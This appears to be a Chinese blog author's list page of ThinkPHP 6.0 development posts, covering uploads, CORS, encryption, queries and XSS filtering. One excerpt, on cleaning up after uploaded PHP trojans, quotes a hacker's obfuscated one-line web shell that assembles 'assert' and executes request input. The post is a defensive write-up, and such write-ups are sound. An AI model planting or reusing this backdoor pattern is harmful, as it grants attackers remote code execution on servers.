ThinkPHP6.0
qq_42289686
这个作者很懒,什么都没留下…
展开
-
php调用ZIP进行压缩单层目录文件的时候,如何保持一级目录
public function addFileToZip($path, $zip) { $handler = opendir($path); //打开当前文件夹由$path指定。 while (($filename = readdir($handler)) !== false) { if ($filename != "." && $filename != ".." ) { //文件夹文件名字为'.'和‘..’,不要对他们进行操作原创 2021-02-07 16:44:54 · 414 阅读 · 0 评论 -
【原创开源】姆町个人发卡系统PHP源码
如果源码部署出现问题,可以联系我解决。支持二开,支持定制开发。源码遵循BSD开源协议,请勿以姆町|姆町网络的名义使用源码进行商业活动,请先修改源码中的LOGO及名称!演示站:http://fk.wensafe.com/文件分两部分;1.PHP源码2.前端源码个人发卡网源码,支持码支付对接,扫码自动发货.自适应网页,可为商品设置优惠套餐,后台管理功能丰富。前台发卡页面有点粗糙,已开源的可自己进行修改。使用thinkphp6.0开发,php需要7以上 mysql5.6以上,其他随意。使原创 2021-01-27 17:21:23 · 705 阅读 · 0 评论 -
axios 封装上传图片与thinkphp6.0后端接收图片
vue JSexport const fileUpload = (File) => { let formData = new FormData(); formData.append('image',File) return axios.request({ url: `admin/upload/logo`, data: formData, method: 'post', headers: {原创 2021-01-20 02:23:58 · 454 阅读 · 2 评论 -
php如何以不同系统环境中的回车符来分割字符串?
先把不同环境的回车符替换成\n,然后用\n来分割就OK了$str = str_replace(PHP_EOL, "\n",$str);$arr = array_unique(explode("\n",$str));原创 2020-11-29 15:08:58 · 901 阅读 · 0 评论 -
如何使用Element框架配合TP打造自己的后端(不熟悉vue脚手架的可以一起学习下)
首先打开thinkphp6.0看云文档,把本地环境搭建好,再安装TP,把伪静态设置好,1.先安装多应用插件composer require topthink/think-multi-app2.然后命令行创建两个应用!!!命令:php think build admin第一个应用 admin第二个应用 api目录结构如下:3.然后在浏览器中输入你绑定的域名 +/admin/index/index 看看是否可以访问?OJBK 是可以访问的。4.在配置数据库 略过5.创建一个数据表 名原创 2020-11-13 01:24:44 · 988 阅读 · 0 评论 -
zui上传组件踩坑之分片上传请注意!最好不要开启!
最好不要开启zui上传组件的分片上传,有可能导致服务器没办法写入文件….原创 2020-11-09 19:06:36 · 331 阅读 · 0 评论 -
发现新大陆>think-addons可以在自己的应用中做模块化开发
think-addons项目地址: https://github.com/zz-studio/think-addonscomposer require zzstudio/think-addonsinstall.sql可以把该模块对应的数据表放进去,会自动判断你配置文件中设置的数据表前缀 来生成对应的表,相关业务逻辑 也可以在控制器中写...原创 2020-09-25 15:55:41 · 1764 阅读 · 0 评论 -
thinkphp跨域很齐全的处理方式
<?phpdeclare (strict_types=1);namespace app\middleware;class admin{ /** * 处理请求 * * @param \think\Request $request * @param \Closure $next * @return Response */ public function handle($request, \Closure $next)原创 2020-07-24 21:46:40 · 287 阅读 · 0 评论 -
thinkphp 多表查询
我将不同的表名存在了一个数据表,这些表名对应的数据表的列都是一致的,现在的要求是,把这些表里面的数据按照筛选条件筛出来。$list = Db::table("v_software_list")->where('delete', 1)->field('field_js')->select();$select = '';foreach ($list as $key => $val) { if ($key == 0) { $sqlField = $val['f原创 2020-06-15 11:05:15 · 575 阅读 · 0 评论 -
DES加密解密 与php后端加密解密互通
测试工具 apiPost 可以百度下载使用DES加密解密前端加密使用CryptoJS插件function encrypt(str, key, iv) { var encode_str = ''; var key = CryptoJS.MD5(key).toString(); var iv = CryptoJS.MD5(iv).toString(); var crypto_key = CryptoJS.enc.Utf8.parse(key); var crypt原创 2020-06-03 09:35:00 · 995 阅读 · 0 评论 -
tp 如果被上传.php木马文件怎么处理
有很多网站被黑,导致网站关键词 网站标题 被修改,更可恶的是你如果发现的晚,关键词都被收录进去了,搞得很麻烦。这是被上传的php文件之一,<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['g原创 2020-06-01 23:03:02 · 996 阅读 · 1 评论 -
thinkphp 写递归查询 查询无限下级代理
表结构如上 总代理 的 superiors字段是为null的,接口 token解密之后,取里面的user_id,然后拿到software软件ID,我们再开始进行递归先拿到 user_id等于接口中token携带的user_id的数据,通常这个数据只有一个。function select($menber, $software){ $obj = Db::table('v_auth_software')->where([ 'user_id' => (string)$me.原创 2020-05-21 10:25:46 · 1579 阅读 · 0 评论 -
php防止xss攻击,过滤不正常的所有html标签和脚本
先安装扩展支持composer require lincanbin/white-html-filter然后自己创建一个过滤的类<?phpnamespace xss;use lincanbin\WhiteHTMLFilter;class xss{ public function parse($uedata) { $filter = new ...原创 2020-03-17 11:23:48 · 658 阅读 · 0 评论 -
tp6静态.htaccess设置
<IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?/$1 [QSA,...原创 2020-03-11 08:15:06 · 2551 阅读 · 1 评论 -
tp6针对thinkphp6.0 的文件上传验证失效自己写的上传插件
use think\image;需要think-image支持,安装:composer require topthink/think-image验证的rule格式,目前只写了图片类型的,其它的文件类型要自己增加。要允许的参数比较多的话 使用逗号连接$rule = [ 'rule' => [ 'mimeType' =&g...原创 2019-12-28 14:59:05 · 5122 阅读 · 3 评论